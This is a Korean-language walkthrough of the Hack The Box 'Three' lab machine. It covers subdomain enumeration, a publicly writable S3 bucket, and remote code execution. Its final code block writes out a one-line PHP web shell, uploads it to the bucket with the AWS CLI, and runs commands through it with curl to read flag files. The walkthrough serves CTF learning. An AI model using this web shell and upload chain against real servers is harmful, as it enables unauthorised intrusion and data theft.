
1. Target Overview (머신 요약)
- Target Name: Three
- OS: Linux
- Difficulty: Tier 1 (Starting Point)
- Vulnerability: AWS S3 Bucket Misconfiguration (S3 쓰기 권한 노출), Arbitrary File Upload (임의 파일 업로드)
- Attack Vector: 서브도메인 열거 ➔ S3 버킷 접속(AWS CLI) ➔ PHP 웹 쉘(Web Shell) 업로드 ➔ 원격 코드 실행(RCE)
2. 핵심 개념 총정리
① 가상 호스팅 및 /etc/hosts (Virtual Hosting)
- 하나의 웹 서버(단일 IP)가 HTTP 요청 헤더의 Host 값을 식별하여 여러 개의 도메인 웹사이트를 동시에 서비스하는 아키텍처
- 내부망이나 로컬 DNS 환경에서 공격을 수행할 때, 공격자 PC의 로컬 네임스페이스인 /etc/hosts 파일에 타겟 IP와 도메인(Vhost)을 강제로 매핑(Mapping)해야만 정상적인 웹 서비스 라우팅이 가능
② 서브도메인 브루트포싱 (Subdomain Enumeration)
- Gobuster의 vhost 모드나 ffuf와 같은 퍼징(Fuzzing) 도구를 사용
- 메인 도메인(예: example.com) 앞에 임의의 단어장(Wordlist)을 대입하여 숨겨진 서브도메인(예: api.example.com, s3.example.com)을 찾아내는 정보 수집 기법
③ AWS S3 버킷 설정 오류 (S3 Misconfiguration)
- Amazon S3 (Simple Storage Service)
- 객체(Object) 기반의 무제한 클라우드 스토리지 서비스
- 보안 취약점
- 관리자가 IAM(Identity and Access Management) 정책이나 버킷 ACL(Access Control List)을 잘못 설정
- 인증되지 않은 외부 사용자(Public)에게 파일 업로드(쓰기) 및 읽기 권한을 부여하는 치명적인 보안 결함
- 공격자는 이를 통해 서버 구동 환경에 악성 스크립트를 주입 가
[Task 1] How many TCP ports are open?
- 정답: 2
- 분석
- Nmap 스캐닝(nmap -p- [Target IP]) 결과
- 대상 인프라에서 SSH(22/tcp)와 웹 서버(80/tcp) 총 2개의 포트가 활성화되어 있음을 확인
- Nmap 스캐닝(nmap -p- [Target IP]) 결과

[Task 2] What is the domain of the email address provided in the "Contact" section of the website?
- 정답: thetoppers.htb
- 분석: 타겟 IP의 80포트 웹 페이지에 접속하여 OSINT(오픈소스 정보 수집)를 수행한 결과, 하단 'Contact' 섹션 이메일 주소(mail@thetoppers.htb)에서 타겟의 메인 베이스 도메인을 식별

[Task 3] In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
- 정답: /etc/hosts
- 분석: 로컬 공격자(Kali Linux) 환경에서 타겟 도메인(thetoppers.htb)을 타겟의 IP로 강제 리졸빙(Resolving)하기 위해 수정해야 하는 정적 호스트 파일 경로
sudo vi /etc/hosts

[Task 4] Which sub-domain is discovered during further enumeration?
- 정답: s3.thetoppers.htb
- 분석
- gobuster vhost -u http://thetoppers.htb -w [단어장] 명령을 통해 가상 호스트(Vhost) 브루트포싱을 수행한 결과,
- 클라우드 스토리지를 암시하는 숨겨진 서브도메인을 식별
- 발견 후 /etc/hosts에 해당 서브도메인도 추가해야 함.
- gobuster vhost -u http://thetoppers.htb -w [단어장] 명령을 통해 가상 호스트(Vhost) 브루트포싱을 수행한 결과,
gobuster vhost -u http://[타겟 도메인] -w [단어장]


[Task 5] Which service is running on the discovered sub-domain?
- 정답: Amazon S3
- 분석: 브라우저를 통해 http://s3.thetoppers.htb에 접속했을 때 출력되는 JSON/XML 형태의 응답 헤더({"status": "running"}) 및 에러 메시지 구조를 통해 해당 백엔드가 AWS S3 호환 스토리지 서비스임을 확인

[Task 6] Which command line utility can be used to interact with the service running on the discovered sub-domain?
- 정답: awscli
- 분석
- 공격자 터미널에서 AWS 클라우드 리소스(S3, EC2 등)를 제어하고 상호작용하기 위해 사용하는 공식 Command Line Interface 패키지
[Task 7] Which command is used to set up the AWS CLI installation?
- 정답: aws configure
- 분석
- awscli 도구 사용 전, 자격 증명(Access Key, Secret Key) 및 리전(Region) 정보를 로컬에 설정하기 위해 실행하는 초기화 명령어
- 본 타겟은 취약하게 설정되어 있으므로 임의의 더미 값을 입력해도 무방
[Task 8] What is the command used by the above utility to list all of the S3 buckets?
- 정답: aws s3 ls
- 분석
- 설정된 엔드포인트에 존재하는 S3 버킷의 목록을 열람(List)하기 위해 사용하는 CLI 명령어
- 타겟 환경에 맞춰 --endpoint-url 옵션을 결합하여 사용
[Task 9] This server is configured to run files written in what web scripting language?
- 정답: PHP
- 분석: 타겟 웹 사이트(thetoppers.htb)의 메인 페이지 확장자(index.php) 및 서버 헤더 분석을 통해, 백엔드에서 PHP 스크립트를 파싱하고 실행(Execute)하는 환경임을 식별했습니다.
[Root Flag] 시스템 침투 및 플래그 추출
- 분석: 침투의 핵심은 S3 버킷 퍼블릭 쓰기 취약점을 통한 RCE(원격 코드 실행)
- 공격자 환경에서 aws configure를 통해 임의의 자격 증명을 셋업
- aws --endpoint=http://s3.thetoppers.htb s3 ls 명령으로 버킷 내부를 열거하여 웹 루트 디렉토리와 S3 버킷이 동기화(연동)되어 있음을 확인(thetoppers.htb 버킷 식별)
- 로컬에서 OS 명령어를 실행할 수 있는 간단한 PHP 웹 쉘(shell.php)을 작성
- aws s3 cp 명령어를 사용하여 작성한 웹 쉘을 타겟 S3 버킷에 업로드(주입)
- 브라우저를 통해 업로드된 웹 쉘 경로로 접속하고, 쿼리 스트링 파라미터를 통해 시스템 명령을 전달하여 플래그 값을 덤프
# 1. 가상 호스팅 라우팅을 위한 /etc/hosts 파일 로컬 도메인 매핑
# (주의: [Target IP] 부분은 접속한 타겟 머신의 실제 IP 주소로 변경하세요)
echo "[Target IP] thetoppers.htb s3.thetoppers.htb" | sudo tee -a /etc/hosts
# 2. AWS CLI 가짜(Dummy) 자격 증명 셋업
# 타겟 서버는 인증이 누락되어 있으므로, 아무 문자열(예: temp)이나 입력해 로컬 검증을 우회합니다.
aws configure
# AWS Access Key ID [None]: temp
# AWS Secret Access Key [None]: temp
# Default region name [None]: temp
# Default output format [None]: temp
# 3. 타겟 S3 버킷 내부 파일 목록 열거 (접근 통제 누락 확인)
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
# 4. PHP 웹 쉘(Web Shell) 페이로드 작성
# 💡[실무 팁]: 반드시 바깥쪽을 홑따옴표(' ')로 감싸야 리눅스 터미널이 $_GET 변수를 증발시키지 않습니다.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 5. 퍼블릭 쓰기(Public Write) 취약점을 악용하여 S3 버킷에 웹 쉘 업로드
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
# 6. 브라우저/curl을 통한 웹 쉘 생사 확인 (권한 체크)
# 정상적으로 업로드되었다면 uid=33(www-data) 등의 서버 시스템 권한이 출력됩니다.
curl "http://thetoppers.htb/shell.php?cmd=id"
# 7. 루트 권한의 시스템 명령어를 주입하여 최종 플래그(Flag) 해시값 탈취
# (HTB Three 머신의 플래그 기본 경로들을 타격합니다)
curl "http://thetoppers.htb/shell.php?cmd=cat%20flag.txt"
# ※ 만약 위에서 빈 화면이 나온다면 시스템 절대 경로로 스캔하여 획득합니다.
# curl "http://thetoppers.htb/shell.php?cmd=cat%20/var/www/flag.txt"
# curl "http://thetoppers.htb/shell.php?cmd=cat%20/flag.txt"
Discussion 0